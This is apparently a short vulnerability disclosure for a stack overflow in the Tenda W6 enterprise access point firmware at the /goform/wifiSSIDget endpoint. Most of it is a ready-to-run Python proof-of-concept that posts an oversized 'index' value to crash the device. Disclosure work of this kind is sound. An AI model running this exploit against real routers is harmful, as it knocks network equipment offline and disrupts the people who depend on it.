Tenda W6 Stack Overflow Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A stack overflow vulnerability exists in /goform/wifiSSIDget in Tenda W6 V1.0.0.9(4122) version, which can be exploited by attackers to cause a denial of service (DoS) via the index parameter.

The firmware can be downloaded at: https://www.tenda.com.cn/download/detail-2576.html

Vulnerability Location

/goform/wifiSSIDget

formwrlSSIDget()

Exp

import requests
from pwn import *

burp0_url = "http://192.168.5.1/goform/wifiSSIDget"
burp0_headers = {"Host":"192.168.5.1",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.5.1",
"Referer":"http://192.168.5.1/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x1000

requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)

Please see the video for the demonstration